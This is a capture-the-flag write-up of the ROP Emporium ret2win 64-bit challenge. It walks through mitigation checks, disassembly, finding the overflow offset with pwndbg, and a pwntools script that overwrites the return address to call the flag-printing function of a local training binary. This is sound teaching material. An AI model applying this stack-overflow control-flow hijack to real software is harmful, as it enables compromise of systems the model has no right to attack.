Ropemporium ret2win 64bit
What is return oriented programming ?⌗
Return-oriented programming (ROP) is a computer security exploit technique that allows an attacker to execute code in the presence of security defenses such as executable space protection and code signing.
In this technique, an attacker gains control of the call stack to hijack program control flow and then executes carefully chosen machine instruction sequences that are already present in the machine’s memory, called “gadgets”. Each gadget typically ends in a return instruction and is located in a subroutine within the existing program and/or shared library code. Chained together, these gadgets allow an attacker to perform arbitrary operations on a machine employing defenses that thwart simpler attacks.
The tools i use⌗
pwntools
pwndbg/gef
ropper/ROPgadget
radare2
vim/emacs-doom/sublime(favorite-text-editors)
The binary and challenge description can be found here ret2win
Lets run the binary and see what happens!
ret2win64 ➤ ./ret2win
ret2win by ROP Emporium
x86_64
For my first trick, I will attempt to fit 56 bytes of user input into 32 bytes of stack buffer!
What could possibly go wrong?
You there, may I have your input please? And don't worry about null bytes, we're using read()!
> jojijojoknkjg
Thank you!
Exiting
ret2win64 ➤
Mitigations in binaries⌗
let’s checkout the binary mitigations first
ret2win64 ➤ checksec ret2win
[*] '/home/h4x5p4c3/Documents/pwn/rop_emporium/0-ret2win/ret2win64/ret2win'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x400000)
Canary is simple and efficient in both implementation and design. It is to insert a value. At the end of the high-risk area where stack overflow occurs, when the function returns, check if the value of canary has been changed to determine whether stack/buffer overflow occurs. In this case canary is disable as you can see.
PIE randomizes Code segment base address PIE randomizes GOT/PLT base address but PIE is disabled in this binary. so the addresses in the binary wont change.
And NX is enabled so we cant use shellcode to spawn a shell.
so what’s Relocation Read-Only (or RELRO) is a security measure which makes some binary sections read-only. There are two RELRO “modes”: partial and full
To checkout binary mitigations in depth check this article
Exploitation⌗
Now lets checkout the functions and disassembly using radare2
ret2win64 ➤ r2 -AAA ret2win
[x] Analyze all flags starting with sym. and entry0 (aa)
[x] Analyze function calls (aac)
[x] Analyze len bytes of instructions for references (aar)
[x] Check for vtables
[x] Type matching analysis for all functions (aaft)
[x] Propagate noreturn information
[x] Use -AA or aaaa to perform additional experimental analysis.
[x] Finding function preludes
[x] Enable constraint types analysis for variables
-- No such file or directory.
[0x004005b0]> afl
0x004005b0 1 42 entry0
0x004005f0 4 42 -> 37 sym.deregister_tm_clones
0x00400620 4 58 -> 55 sym.register_tm_clones
0x00400660 3 34 -> 29 sym.__do_global_dtors_aux
0x00400690 1 7 entry.init0
0x004006e8 1 110 sym.pwnme
0x00400580 1 6 sym.imp.memset
0x00400550 1 6 sym.imp.puts
0x00400570 1 6 sym.imp.printf
0x00400590 1 6 sym.imp.read
0x00400756 1 27 sym.ret2win
0x00400560 1 6 sym.imp.system
0x004007f0 1 2 sym.__libc_csu_fini
0x004007f4 1 9 sym._fini
0x00400780 4 101 sym.__libc_csu_init
0x004005e0 1 2 sym._dl_relocate_static_pie
0x00400697 1 81 main
0x004005a0 1 6 sym.imp.setvbuf
0x00400528 3 23 sym._init
Now lets take a look at he main function to see what happens in there
[0x004005b0]> s main
[0x00400697]> pdf
; DATA XREF from entry0 @ 0x4005cd
┌ 81: int main (int argc, char **argv, char **envp);
│ 0x00400697 55 push rbp
│ 0x00400698 4889e5 mov rbp, rsp
│ 0x0040069b 488b05b60920. mov rax, qword [obj.stdout] ; obj.__TMC_END
│ ; [0x601058:8]=0
│ 0x004006a2 b900000000 mov ecx, 0 ; size_t size
│ 0x004006a7 ba02000000 mov edx, 2 ; int mode
│ 0x004006ac be00000000 mov esi, 0 ; char *buf
│ 0x004006b1 4889c7 mov rdi, rax ; FILE*stream
│ 0x004006b4 e8e7feffff call sym.imp.setvbuf ; int setvbuf(FILE*stream, char *buf, int mode, size_t size)
│ 0x004006b9 bf08084000 mov edi, str.ret2win_by_ROP_Emporium ; 0x400808 ; "ret2win by ROP Emporium" ; const char *s
│ 0x004006be e88dfeffff call sym.imp.puts ; int puts(const char *s)
│ 0x004006c3 bf20084000 mov edi, str.x86_64 ; 0x400820 ; "x86_64\n" ; const char *s
│ 0x004006c8 e883feffff call sym.imp.puts ; int puts(const char *s)
│ 0x004006cd b800000000 mov eax, 0
│ 0x004006d2 e811000000 call sym.pwnme
│ 0x004006d7 bf28084000 mov edi, str.Exiting ; 0x400828 ; "\nExiting" ; const char *s
│ 0x004006dc e86ffeffff call sym.imp.puts ; int puts(const char *s)
│ 0x004006e1 b800000000 mov eax, 0
│ 0x004006e6 5d pop rbp
└ 0x004006e7 c3 ret
The main function just prints the output we saw when we ran the binary and its calls a function named pwnme we know the pwnme function contains the vulnerable gets fucntions which we need to overflow
let’s checkout ret2win fucntion to see what it does
[0x00400756]> pdf
┌ 27: sym.ret2win ();
│ 0x00400756 55 push rbp
│ 0x00400757 4889e5 mov rbp, rsp
│ 0x0040075a bf26094000 mov edi, str.Well_done__Here_s_your_flag: ; 0x400926 ; "Well done! Here's your flag:" ; const char *s
│ 0x0040075f e8ecfdffff call sym.imp.puts ; int puts(const char *s)
│ 0x00400764 bf43094000 mov edi, str.bin_cat_flag.txt ; 0x400943 ; "/bin/cat flag.txt" ; const char *string
│ 0x00400769 e8f2fdffff call sym.imp.system ; int system(const char *string)
│ 0x0040076e 90 nop
│ 0x0040076f 5d pop rbp
└ 0x00400770 c3 ret
[0x00400756]>
Its prints the flag this is the exact thing we wanted to do!
Now lets find the offset that’ll be needed to overwrite the instruction pointer
for the pattern value we’ll use cyclic from pwntools to find the offset
ret2win64 ➤ cyclic 60
aaaabaaacaaadaaaeaaafaaagaaahaaaiaaajaaakaaalaaamaaanaaaoaaa
ret2win64 ➤ ./ret2win
ret2win by ROP Emporium
x86_64
For my first trick, I will attempt to fit 56 bytes of user input into 32 bytes of stack buffer!
What could possibly go wrong?
You there, may I have your input please? And don't worry about null bytes, we're using read()!
> aaaabaaacaaadaaaeaaafaaagaaahaaaiaaajaaakaaalaaamaaanaaaoaaa
Thank you!
[1] 34640 segmentation fault (core dumped) ./ret2win
Now on passing the pattern we get a segfault let’s do the same with pwndbg
ret2win64 ➤ pwndbg ./ret2win
pwndbg: loaded 193 commands. Type pwndbg [filter] for a list.
pwndbg: created $rebase, $ida gdb functions (can be used with print/break)
Reading symbols from ./ret2win...
(No debugging symbols found in ./ret2win)
pwndbg> break *main+80
Breakpoint 1 at 0x4006e7
pwndbg> r
Starting program: /home/h4x5p4c3/Documents/pwn/rop_emporium/0-ret2win/ret2win64/ret2win
ret2win by ROP Emporium
x86_64
For my first trick, I will attempt to fit 56 bytes of user input into 32 bytes of stack buffer!
What could possibly go wrong?
You there, may I have your input please? And don't worry about null bytes, we're using read()!
> aaaabaaacaaadaaaeaaafaaagaaahaaaiaaajaaakaaalaaamaaanaaaoaaa
Thank you!
Program received signal SIGSEGV, Segmentation fault.
0x0000000000400755 in pwnme ()
LEGEND: STACK | HEAP | CODE | DATA | RWX | RODATA
───────────────────────────────────────────────────────────────────────────[ REGISTERS ]───────────────────────────────────────────────────────────────────────────
RAX 0xb
RBX 0x0
RCX 0x7ffff7ecaf67 (write+23) ◂— cmp rax, -0x1000 /* 'H=' */
RDX 0x0
RDI 0x7ffff7f9f4f0 (_IO_stdfile_1_lock) ◂— 0x0
RSI 0x7ffff7f9d5a3 (_IO_2_1_stdout_+131) ◂— 0xf9f4f0000000000a /* '\n' */
R8 0xb
R9 0x7ffff7fe14c0 (_dl_fini) ◂— endbr64
R10 0xfffffffffffff8f9
R11 0x246
R12 0x4005b0 (_start) ◂— xor ebp, ebp
R13 0x0
R14 0x0
R15 0x0
RBP 0x6161616a61616169 ('iaaajaaa')
RSP 0x7fffffffe8b8 ◂— 0x6161616c6161616b ('kaaalaaa')
RIP 0x400755 (pwnme+109) ◂— ret
────────────────────────────────────────────────────────────────────────────[ DISASM ]─────────────────────────────────────────────────────────────────────────────
► 0x400755 <pwnme+109> ret <0x6161616c6161616b>
─────────────────────────────────────────────────────────────────────────────[ STACK ]─────────────────────────────────────────────────────────────────────────────
00:0000│ rsp 0x7fffffffe8b8 ◂— 0x6161616c6161616b ('kaaalaaa')
01:0008│ 0x7fffffffe8c0 ◂— 0x6161616e6161616d ('maaanaaa')
02:0010│ 0x7fffffffe8c8 —▸ 0x7ffff7e02152 (__libc_start_main+242) ◂— mov edi, eax
03:0018│ 0x7fffffffe8d0 —▸ 0x7fffffffe9b8 —▸ 0x7fffffffec2c ◂— '/home/h4x5p4c3/Documents/pwn/rop_emporium/0-ret2win/ret2win64/ret2win'
04:0020│ 0x7fffffffe8d8 ◂— 0x1f7e01f73
05:0028│ 0x7fffffffe8e0 —▸ 0x400697 (main) ◂— push rbp
06:0030│ 0x7fffffffe8e8 ◂— 0x400000000
07:0038│ 0x7fffffffe8f0 ◂— 0x0
───────────────────────────────────────────────────────────────────────────[ BACKTRACE ]───────────────────────────────────────────────────────────────────────────
► f 0 400755 pwnme+109
f 1 6161616c6161616b
f 2 6161616e6161616d
f 3 7ffff7e02152 __libc_start_main+242
──────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────
pwndbg> x/wx $rsp
0x7fffffffe8b8: 0x6161616b
pwndbg> q
Now lets find out the offset to overwrite the RIP
In [1]: from pwn import *
In [2]: cyclic_find(0x6161616b)
Out[2]: 40
Now we know the offset is 40 let’s craft our exploit but we notice there’s actually a hint give the webpage saying
It's worth confirming this before each challenge but typically you'll need 40 bytes of garbage to reach the saved return address in the 64bit binaries, 44 bytes in the 32bit binaries
#!/usr/bin/env python3
from pwn import *
context.terminal = ['alacritty', '-e', 'sh', '-c']
context.log_level = 'info'
exe = context.binary = ELF('./ret2win')
io = process(exe.path)
payload = flat([cyclic(40), exe.sym['ret2win']])
io.sendline(payload)
io.interactive()
so now we run the exploit to check if it works :)
ret2win64 ➤ ./exploit
[*] '/home/h4x5p4c3/Documents/pwn/rop_emporium/0-ret2win/ret2win64/ret2win'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x400000)
[+] Starting local process '/home/h4x5p4c3/Documents/pwn/rop_emporium/0-ret2win/ret2win64/ret2win': pid 23220
[*] Switching to interactive mode
ret2win by ROP Emporium
x86_64
For my first trick, I will attempt to fit 56 bytes of user input into 32 bytes of stack buffer!
What could possibly go wrong?
You there, may I have your input please? And don't worry about null bytes, we're using read()!
> Thank you!
Well done! Here's your flag:
ROPE{a_placeholder_32byte_flag!}
[*] Got EOF while reading in interactive
$
yea we got our flag. So on the next post we’ll not cover how to find the offset and we did in this one